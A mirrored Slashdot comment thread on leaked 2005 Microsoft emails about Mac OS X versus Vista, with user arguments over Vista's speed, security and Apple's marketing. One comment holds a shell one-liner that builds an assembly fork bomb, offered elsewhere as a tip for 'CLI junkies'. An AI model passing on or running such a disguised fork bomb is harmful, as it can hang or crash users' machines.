Slashdot Mirror
Microsoft Feared Mac Vs. Vista In '05
CWmike writes "Gregg Keizer sifted through many threads of e-mails released under the 'Vista Capable' lawsuit to dig up this jewel...More than a year before Windows Vista's release — and long before Apple started poking fun at the OS — Microsoft officials were already worried about comparisons between Mac OS X and Vista. An e-mail thread from October 2005 showed that an article in the Wall Street Journal by Walt Mossberg grabbed the attention of managers at Microsoft. In a column headlined What PC to Buy If You Are Planning On a Vista Upgrade, Mossberg alarmed one Windows manager who forwarded a bit from the column.... 'You won't have to worry about Vista if you buy one of Apple Computer's Macintosh computers, which don't run Windows,' Mossberg had written. 'Every mainstream consumer doing typical tasks should consider the Mac. Its operating system, called Tiger, is better and more secure than Windows XP, and already contains most of the key features promised for Vista.' Warrier added a comment of his own: 'A premium experience as defined by Walt = Apple. This is why we need to address [the column].'"
Uh... this is news? Any good businessman always watches the competition and tries to estimate how many customers might switchover. That's not "fear". That's just good old commonsense.
FOX NEWS.com should be BANNED from television and internet. Have the Congress take it over and give us Truespeak.
It's not fair to call vista a virus.
Viruses are some of the tiniest and most efficient pieces of code written.
Which is just plain wrong. Consumers don't upgrade operating systems. They use the one that came with the box until they need a new box. Techno-nerds and enterprises upgrade operating syatems. In the case of Vista, enterprises have stayed away in droves.
No folly is more costly than the folly of intolerant idealism. - Winston Churchill
I'm sure many will remember the comparisons of the screen shots and betas for Vista vs. OS X. It was remarkable how much Vista looked like OS X. In both feature (bloat) and GUI. Microsoft is as much, if not more, to blame for the feature comparison. Redmond continued to flaunt using Cupertino as their proxy R&D. When Microsoft finally shipped the goods, the comparisons it seems, were only skin deep.
With a BSD backend, a controlled hardware architecture and the ability to run tools from all platforms via MacPorts or VMWare or Wine, Mac has shown it is not only a better user experience in th long run but a far lower maintenance computer. There are fewer problems due to the maintained hardware architecture by Apple and no viruses to speak of due to sandboxing and BSD's UNIX background.
It does hav bugs like any OS which luckily they are fairly quick to address, and they have a much faster turn around for new versions of the OS (one every year versus every 3-5 years for Windows).
Would I prefer it to be more open like Linux? Oh hell yes especially now that they are adopting HDCP and other DRM related technologies. I suspect however that the Vista fiasco and Netbooks have caused enough people to consider a switch to Linux and with Apple embracing OpenGL for game development on iPhone and iTouch, it will only be a matter of time before it is on equal footing as a game platform and openGL is equally considered thus giving Linux a footup as well; afterall, Blizzard already has admitted to having a Linux Warcraft client internally that they haven't released.
This is my sig. There are many like it but this one is mine.
I'm getting really annoyed at the Mac commercials that constantly slam PC's.
I'm the kind of person who hates it when politicians run smear campaigns and TV ads slandering the opposition, and for Apple to be doing this for their TV ads seems unprofessional and childish.
If you want to highlight your product, great! Do so, and let the product speak for itself. People who are so fed up with Microsoft will see a commercial highlighting the Mac's features, and they will generally go research it. I have been put off by the commercials, and any interest I genuinely had in getting a Mac was completely destroyed.
the supposed "security" of Vista is laughable
Excellent comment. Those of us who work in computer repair or who have porn-addicted friends know that getting malware on Vista is as easy as getting malware on any other version of Windows, the sole difference being that the UAC dialog(if enabled) pops up 5 times a second instead of 5 times a minute.
Vista is an epic fail! They moved everything around and added unnecessary menu options making navigation a nightmare for people familiar with prior versions. Bold moves in changing the layout for Vista and the latest Office, though it turned their user experience into a counterintuitive nightmare!
I would have gotten hooked Linux if it wasn't for OS X. Terminal.app sitting in the Utilities folder is like a drug pusher. First it starts out with a little 'ls' and 'mv'. Then you learn to SSH and X11 forward. Then come the shell scripts and built in gcc.
Oh god, and then you discover screen and it's all over. You're hooked.
I'm now a CLI junkie. I get my fix from my debian rtorrent machine that gives me my movies and now I'm building a home automation center from NSLU2 and 1-Wire. My MacBook Pro starts Terminal.app on start.
Parents keep your kids away from Apple, they could be come CLI Junkies. Vista is the one true path to salvation.
Sure MS may have been worried about OS X in 2005, but the problem runs much deeper now. Let's take a look back:
In 2005, Mac OS X was available and rating "better" as a desktop environment in many places, but in order to "upgrade" to OS X, it required purchase of all new hardware.
by 2008, Mac had adopted Intel x86-based processors and expanded support into the realm formerly controlled only by PC. While technically you still need to upgrade to Mac hardware according to the Mac OS X EULA, the validity of that claim is currently being questioned. Additionally Ubuntu and other Linux distros that make setup easy and are very user-friendly have started spawning and are also beginning to take a significant chunk out of MS's market share.
There may have been signs of things to come in 2005, but thinks look even more bleak for MS now unless they can get things together with Vista or at least Windows 7.
Well, back to rejecting software patent applications.
Microsoft knows this and they know all about Tiger, they copied alot of it. What Microsoft was concerned about was rogue press saying things like Mossberg wrote. Anyone who knows technology over the last 20 years knows that Microsoft is a marketing company before they are a tech company and this email just shows that. 'Don't let the public know there is something better' is all this says and that is SOP for Microsoft. IMO
LoB
"Anyone who stands out in the middle of a road looks like roadkill to me." --Linus
This is simply not true. Vista is not faster than XP in almost any respect. Any computer with identical hardware will run Windows XP faster than Vista. Period. While service pack 1 has helped somewhat, Vista still lags behind XP. There have been many reviews to demonstrate this, most recently in Maximum PC. Dont delude yourselft into thinking that you are using Vista because it is faster. It isnt. www.lapcfixer.com
Russell went on to defend Vista, specifically its ability to "run on a very wide-ranging set of systems from the minimally capable to the incredibly capable," he said. "Apple doesn't do that."
Riiiiight. Apple was able to slim down OS X to run on an ARM smartphone, can MS do the same with Vista ? Oh yeah that's right, they had to extend the life of XP just for the netbook market, cause there's no way Vista could run on that hardware, and they were afraid of Linux taking over.
I can't see how this guy could think that, did he not ever use Vista ?
"A premium experience as defined by Walt = Apple. This is why we need to address [the column]."
That suggests that when Microsoft received reports of a competitor offering a superior product that executives regarded the reports themselves as the problem and not Microsoft's deficient offerings; Warrier writes of addressing Mossberg's column, not of addressing the problems with Microsoft's planning and development processes which led them to an inferior market position.
Blaming someone outside the organization is smart corporate politics because it does not make enemies inside your own organization who might retaliate against you. But then maybe that is the problem with Microsoft management, that it is full of shrewd corporate ladder-climbing types instead of inspired artists and engineers.
Ceci n'est pas une signature.
Microsoft didn't sell the reason people needed Vista. They polished a dashboard up with some glassy looking graphics and slapped a pricetag on it. That's not relevant to 99% of users. Most people use their computers for the internet, or for writing letters. Could Vista do anything like that better than XP? No. And there's your answer.
If Microsoft wanted to sell Vista, they should have examined what the main concerns are of people and acted on them. Most people don't care about what is happening behind the scenes... that's what nerds are for. Most people care about what the computers can do for them.
Now if they wanted to sell Vista, they should have got Jerry Seinfeld to do the Vista commercials from the beginning, and keep Bill Gates out of them. Seinfeld would simply sell the reason people need to upgrade to Vista which is for security and for expanded multi-media capability.
Jerry could have also addressed most of the user objections to Vista openly and with a dash of dry comedy that people tend to admire in the comedian.
But they chose to do a faceless monolithic kind of ad campaign, to combat Apple's ads but that actually made people think about how good Apple is compared to windows which was the kicker-backfire!!!! OMG yes.
The dangers of knowledge trigger emotional distress in human beings.
Why does Microsoft, and apparently Apple, believe what we've been waiting for is more features? I don't know a single consumer who is dissatisfied with their box because it lacks this or that feature. The consumers I know who are unhappy are unhappy with the user experience: box does something unexpected, unexplained, mysterious, unintended, or just plain wrong. So I don't understand the features war. I would think the vast majority of us aren't looking for the box to do something new and wonderful, but to stop doing things that are weird and obstructive.
I will kill this Mossberg for you for ten million of your American dollars and a lifetime license for Windows XP.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Look, I know this is Slashdot and all, but honestly I'm starting to get microsoft-vista-embarassing-email-story fatigue. Ever since the Vista class-action exposed all of these internal Microsoft emails, people have been cherry-picking emails and making them into full-blown stories for months it seems.
I'm no Microsoft apologist, it's just that it's starting to get old. Yes, we know Vista sucks. We know Microsoft felt the same way. We get it!! Please stop beating us over the head with it already.
If Apple would simply allow their OS to run on generic PCs, Microsoft would have a true competitor.
If Apple would allow their OS to run on generic PCs, they would fall into a support hell.
there should be an oversight committee to determine if a Mac is a necessary item
I'm sorry, that's just stupid. If a researcher feels they'll will be more productive using a mac with windows under emulation for the apps that need it who are you to judge?
I use a mac in a research setting at Purdue and run windows for a handful of Apps I rarely use. I probably fire windows up once every couple of months. I used to use it more frequently but apps like SAS, SPSS, and the windows version of Powerpoint are offered over the web via a CITRIX client so I don't need to waste disk space installing those apps locally anymore. However, if their had been the kind of unnecessary oversight you are suggesting I'd be SOL.
I get the impression from your post that you work for the researchers, but not as a researcher yourself. You are poorly equiped to decide which tools would best benefit the researcher unless you are the PI in question.
Bureaucracy expands to meet the needs of the expanding bureaucracy.-Oscar Wilde
In general, funding oversight should focus on inputs and outputs, not process.
Assuming that the committee will know better than each and every researcher is a bad idea, and inputs and outputs are easy to measure, meaning that monitoring them will probably require less bureaucracy than making sure that all dollars are spent in 'approved' ways.
Nerd rage is the funniest rage.
I agree, though Apple naturally dropped the opportunity to really take on Microsoft. If Apple would simply allow their OS to run on generic PCs, Microsoft would have a true competitor.
This old canard again?
Nobody makes Big Money on desktop operating systems. Microsoft uses theirs to leverage sales of MS-Office and their enterprise solutions.
Apple uses theirs to sell hardware.
The only people who get worked up about the "OS wars" are fanboys. Everybody at Apple and Microsoft is too busy making money to care.
Information wants to be anthropomorphized.
Apple makes their money as a hardware vendor. People would just pirate the OS, and everyone else would rather just run Windows on their PCs and have all their apps. Apple would fade away if you were running the company.
Oh, and the iPhone isn't going anywhere. THAT'S how Apple is taking on Microsoft--invading the mobile market where PCs are inevitably headed. Their laptop sales go up every year, and they have portable media and cell phones.
You haven't seen some viruses. I seem to remember, back in the dark ages of floppies, long before the internet, when 1.44 MB was all the space on a floppy and viruses were supposed to go unnoticed on one so they could spread, someone had written a 100K virus in Clipper. Or one of the similar DBase2-like databases. In an age of 512 _byte_ viruses, or where even complex and sophisticated ones were measured in single digit kilobytes, that was fucking huge. It's akin to having a 100 MB virus nowadays. In fact, it's akin to nowadays writing a virus in Java and distributing it together with a JDK.
So in all fairness, you can't generalize like that. Just because Vista is the most extreme case of a bloated and inefficient virus, doesn't mean there weren't other viruses that were only slightly less bloated and inefficient before ;)
A polar bear is a cartesian bear after a coordinate transform.
mplayer -ontop -cache 102400 $drag and drop video here from NFS share$
Only way to watch videos in bed/couch. Never have to worry about Firefox or what ever being in front of the video. Caches enough to watch the movie without hiccups.
Although aalib gives new meaning to ASCII Porn.
If Apple would simply allow their OS to run on generic PCs, Microsoft would have a true competitor.
People say this, but Apple would have to take on a lot of expense to support generic hardware. They'd have to massively upgrade their test procedures, spend huge amounts of development time on drivers, hire reams of new tech support... unless their market share spiked, there is no way that they could justify the expense. Either that or the "generic" OS would cost a lot more than it does today.
Apple is perfectly happy with their niche of selling only high-margin products. Dell has margins of under 5%, Apple is over 14%. MS is 29%, for comparison. Of course, Apple could never get to that high of a number since MS is only able to price gouge due to their monopoly. It would be kind of fun to see how cheap Windows got if Apple entered the marketplace. We're already seeing it in sub-notebooks where the monopoly was destroyed.
As a bonus, Apple doesn't get called "unstable" every time the crappy $300 Dell hardware flakes out.
W..w..W - Willy Waterloo washes Warren Wiggins who is washing Waldo Woo.
You might as well sell your sole to Richard Stall..erm Satan!!/p>
Why would Satan, or Stallman for that matter, do with one of his shoes??
I'm not a Vista fan, but to claim that it is "half as fast" is unqualified nonsense. Fortunately for you, the huge Anti-MS crowd here has no problem modding you up.
Gamingmuseum.com: Give your 3D accelerator a rest.
Mac: Hi, I'm a Mac
Bill Gates: And I'm a PC
Mac: WHOA, Bill Gates! What are you doing on a Mac commercial?
Bill: To remind people that Microsoft is more than Windows. We've been writing software for the Mac since before there was a Mac. The same Office suite that PC's use is available to Mac Users
Mac: Actually, Bill, it's better.
Bill: [blushes] Thanks. And with Boot Camp and virtualization, you can run Windows if you have to.
Mac: Or want to. I think Vista ROCKS on a Mac.
Bill: That's all. Microsoft makes software and operating systems... for PCs AND Macs.
Mac: So, we can work together.
Bill: Yes. Yes, we can. [shakes hands] Nice shoes...[Exit, Stage right]
[Mac stands stunned]
[Enter PC, eating a churro]
PC: You're not going to believe this. I just met Jerry Seinfeld in the hallway.
[Mac stands stunned]
PC: What? What'd I miss?
[Fade to iMac running Office 2008 and Parallels with Vista] and new 'Yes, WE can' logo
Or you could try this little tidbit if you are truly a CLI Junkie...
Did I just say that??
Some are. The virus world has gone downhill a lot though. Why, many of them are written in Visual Basic!
MAC = Media Access Control
Mac = Short for Apple Macintosh.
My friend, I fear that the computer you chose to use will have no bearing on what people already think of your intelligence.
From someone who has never used Vista. I've had it installed for years, it's every bit as stable as XP, and while it's clearly somewhat more "expensive" (CPU+Memory), on any kind of modern hardware it is irrelevant.
It's also clearly more secure than XP. In all cases where I've installed it for friends and family, it has noticeably reduced the amount of cruft that gets installed.
Wow, what's not compatible with Vista 64? What's wrong with 100% working video drivers that install and function for nVidia and ATI devices exactly the same as the 32 bit drivers? I also suggest you try comparing Vista and XP boxes after a month of use. XP slows down, Vista gets faster. After even a day of use, Vista will be faster at loading some applications (at least Firefox, Word, Trillian for me). Vista will typically have lower average framerates by 0-5% as long as you run a DX9 version of whatever you're playing in Vista. If you use DX10, in most cases you'll suffer by 10-50%. App productivity benchmarks like running PS filters will probably show a very small XP advantage. Differences are negligible on most cases, but it's true that a few albatrosses are still out there, unaddressed.
"I zero-index my hamsters" - Willtor (147206)
On a computer that is actually in every day use the RAM caching is Vista's biggest trick up its sleeve. Launching and using applications is simply faster on ANY Vista machine with enough RAM (1.5GB or greater) after a few days/weeks for it to learn. This is true even on my Pentium M 1.6GHz.
The key here is the phrase 'on the same hardware'. As operating systems do more, they take more hardware to perform adequately.
If Vista were actually doing more for the user than XP, then people wouldn't be quite so upset.
But, most of what makes Vista slow are either bugs (file copy bug, poor algorithm used by SuperFetch that actually slows down real-world usage, etc.) or things the user doesn't want, like DRM or the extra pseudo-security features that don't really do anything, since there are still exploits from the Win2K days that work on an out-of-the-box Vista install.
Not necessarily. MacOS X, 10.2 was faster than 10.1, and 10.3 faster than 10.2, on the same hardware. It wasn't until 10.4 that you actually started seeing a performance hit on G3 and slower G4 computers.
And Vista is faster than XP on the proper hardware
ie Dual Core, 4GB+ ram
My dual core 3ghz processor with 4gb of ram says otherwise when going from XP to Vista. Intel stuff no less with up to date drivers and also a high speed SATA drive.
File copies in XP took twice as long in Vista for files of equal size on the same hardware.
~~ Behold the flying cow with a rail gun! ~~
It's fear of a Mac planet.
Only way to watch videos in bed/couch.
Judging by that comment and your nick, I'll wager you don't have a girlfriend.
Trolling is a art,
OSX is often optimised for speed over successive releases... in fact one of the goals for snow leopard is improved performance.
It's something MS could probably learn from.. OTOH keeping everyone on the upgrade treadmill is worth it to them.
There are no intuitive interfaces.. everything it learned.
One thing that doesn't help is hiding options.. the original IBM style guides (that MS prety much stuck to until Vista) were clear that an option shouldn't appear and disappear as it's confusing.
Max. 'oops' points of cours goes to Office 2007 that manages to hide the file menu so successfully I've actually been called in to 'fix' a machine when 5 people in an office couldn't work out how to save a document.
Like my customer that wanted to pipe his rush limbaugh stream through the house. to his airport express on his whole house audio system.
Installing airfoil and running it gives a big vista "YOU ARE A MEDIA THIEF!!! HELP! HELP!" warning message.
It still works because airfoil get's around the silly Vista protected audio path, but it angers this very rich man.
I told him that he should consider downgrading to XP or moving to a Mac as Vista does nothing for him except get in his way.
He called us last friday looking for a company t hat can downgrade all his machines to XP. I sold him a raft of OEM XP Pro licenses and the required hardware to make it legal to downgrade them, and a phone number of a very good tech that can do it for him without loss of data.
I'm guessing they will never upgrade to Vista at the company he owns now....
Do not look at laser with remaining good eye.
OS X has a simple metaphor that exposes the underlying principles of computers in a way that average people can understand -- apps are files you drag from an archive to an HD to install for instance. That's the exact opposite of dumbing things down; it's making things clear. Windows, by contrast, hides the issues -- having programs you download actually be installers that download more files and install them to a non-obvious place, for instance. THIS is dumbing-down -- it leads to users that don't understand what they've just done, never mind how to solve problems. And don't get me started on how illogical having a "file" menu with an exit option is in a PC browser, or an anti-virus program. Macs make that app vs. file distinction much more sensible too.
I, for one, would welcome our upgrade treadmill overlords more if I were delivered faster performance with my upgrade.
Rule of Slashdot #0: You and people like you are not representative of the larger population. - A.C.
'You won't have to worry about Vista if you buy one of Apple Computer's Macintosh computers, which don't run Windows,' Mossberg had written.
When my wife was asked to do half her work from home (and be much more productive that commuting to the office, it turns out), she had to look into replacing her ancient (4 years old ;-) Windows box. It was running XP, and her office hasn't upgraded to Vista, so she was looking for a PC to run XP. She couldn't buy one, until she asked at an Apple store. They explained to her that she could indeed run XP on a Mac. She got an iMac, installed XP via Fusion, and it works fine. Now a number of other people at work want her to teach them how to do it.
This has gotta be one of the things that terrifies MS's management. They lost a customer to Apple because the customer couldn't use Vista (for work-related reasons), and a competitor's system can run a virtualized XP subsystem. You could probably do the same with Linux.
Back in the 1970s, when the VM OS was taking over the IBM mainframe world, IBM responded by adopting VM and supporting it. This radically improved the usefulness of IBM's mainframes to their customers, and helped them consolidate their stranglehold on the mainframe market. So far, MS has viewed virtualization as a threat to their business, and has tried to block it. Maybe we shouldn't tell them that they're making a huge mistake. If they keep fighting it, they'll never be able to duplicate the total takeover that IBM managed in the mainframe arena. Virtualization is just too useful to a large percent of the users. And if we can avoid that sort of monoculture in the desktop, laptop, etc parts of the industry, we'll have a much healthier industry that will continue to innovate.
So let's all encourage MS to continue to try to block this development. It's for the benefit of everyone (except for MS's main stockholders).
Those who do study history are doomed to stand helplessly by while everyone else repeats it.
Not necessarily. MacOS X, 10.2 was faster than 10.1, and 10.3 faster than 10.2, on the same hardware. It wasn't until 10.4 that you actually started seeing a performance hit on G3 and slower G4 computers.
In any event, I'm not sure that I'd call the jump from 10.1 to 10.2 to 10.3 'major iterations'.
In any event, I'm sure you don't know what you're talking about. The full list of features in each iteration was astounding. The difference between 10.1 and 10.2 was of the order of those between Win 2k and Win XP. The fact that they update minor version numbers doesn't change the fact that they add enough to call it a major iteration.
Don't believe me? Check out for yourself on wikipedia: 10.1 10.2 and 10.3. Thank you, come again.
Of Code And Men
If I had mod points, I would mod you up! Just because the number isn't incrementing to astronomical levels with each release doesn't mean that considerable changes aren't being made.
On another note:
Windows 2000 - Version 5.0
Windows XP - Version 5.1
Windows 2003 - Version 5.2
Hmm, seems like somebody was barking up the wrong tree...
Sleep: A completely inadequate substitution for Caffeine.
If Vista were actually doing more for the user than XP, then people wouldn't be quite so upset.
Vista is more secure than XP. Unfortunately, people it turns out, really don't give a shit about security.
or the extra pseudo-security features that don't really do anything,
Forcing legions of inept users to not run as administrator is not pseudo-security.
I'll concede that some the warnings amount to pseudo-security, but the reality is that Vista is much more secure than XP. Signed drivers, the inability to put administrator items into your startup, and a whack of other measures all significantly hardened Vista to a damned LOT of the XP malware out there. Unfortunately it also broke a bunch of shoddily written legitimate apps, and users care more about running that crap than security.
since there are still exploits from the Win2K days that work on an out-of-the-box Vista install
Vista is much more secure than XP. Its not remotely impregnable, but it could be considered to be like a police armor compared to XP/2K's T-shirt and short-shorts.
But the bigger problem for windows isn't remote exploits, its its own users. Windows is a victim of its own success, the malware ecosystem for windows is unique.
Even if Windows were impregnable, due to its marketshare, it would still be the dominant target for exploits that rely on the meat using the PC. So Vista is challenged not only with being secure, but with protecting users from themselves... which has led to Vista being tasked with the impossible.
But give it time, there is nothing about OSX or Linux that makes it more secure against idiots installing keyloggers, rootkits, and other malware into their systems. If they ever have the same sizeable legions of inept users then the malware authors will target them too.
The user experiences is in many ways more intuitive, but that's not the issue...
What people say "intuitive" they actually mean "familiar". They are familiar with the old interface, and don't want to change to the new one even if it is better. They use the same argument against linux or mac too.
That's pretty much true. I work for a company that a while back yanked out all of their Windows XP systems and replaced them with Ubuntu.
Here is how they did it. First they moved everyone off Microsoft Software, and replaced it with what they would find later on Ubuntu. (Firefox, OpenOffice, Thunderbird, & Pidgin primarily.). After a time they instructed people to "Expect things to be diffrent, and diffrent does not mean bad. Some things will not work the same way, some thing may not even work at all, but some things will work better. You need to approach this as if you would approach an alien landscape, it's not the same so don't expect it to be the same." After that we did the change all at once. There have been complaints, some muttering here and there, and there have been issues, but overall it has gone over really really well, and the entire company is just as productive and happy on Ubuntu now. Maybe even more productive, we are getting to a point where there are very few IT Support issues regarding client desktops.. nearly none are work related, most are due to flash and pulseaudio..
But that's the big thing about interfaces.. people who are not interested in computers don't want to learn about them, and they don't want to learn a new interface even if it is better. They will get frustrated if they can't find their "C:\" drive, even though the thought of labeling a drive mappings by alphabetical charters is, and always was, archaic, confusing, and idiotic.
If they at least expect everything to be diffrent, things go a lot better.
Bringing liberty to the masses. - http://freetalklive.com/
Somewhere out there, there's a girl for him, and she's converting his screen name to decimal right now...